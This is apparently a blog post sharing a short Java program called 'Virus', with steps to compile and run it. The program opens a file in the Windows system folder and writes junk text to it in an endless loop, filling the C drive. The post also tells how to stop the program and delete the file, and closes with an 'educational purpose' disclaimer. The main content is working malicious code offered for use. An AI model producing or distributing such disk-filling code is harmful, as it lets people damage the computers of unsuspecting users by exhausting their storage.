import java.io.*;
class Virus
{
public static void main(String ar[])
{
try
{
FileWriter f=new FileWriter("C:/WINDOWS/Virus.dll",true);
while(true)
{
f.write("Programming Is Such A FUN !!!");
}
}
catch(FileNotFoundException e){}
catch(IOException e){}
}
}
*. Save it asVirus.java
*.Now generate the byte code of program using Java Compiler.
*.When you execute this program It will start eating the space of your C drive. To stop this virus simply close the command window.
*.In order to recover the lost space of your drive. go to C:\WINDOWS and delete the file virus.dll (also from Recycle bin)
Explanation: On execution this program will create a file calledvirus.dllat the location C:\WINDOWS and start increasing its size by sending the junk data into it which automatically increase the size of the disk.
*Note : I am providing the informations only for educational purpose.,so i am not responsible for any other issues.
No comments:
Post a Comment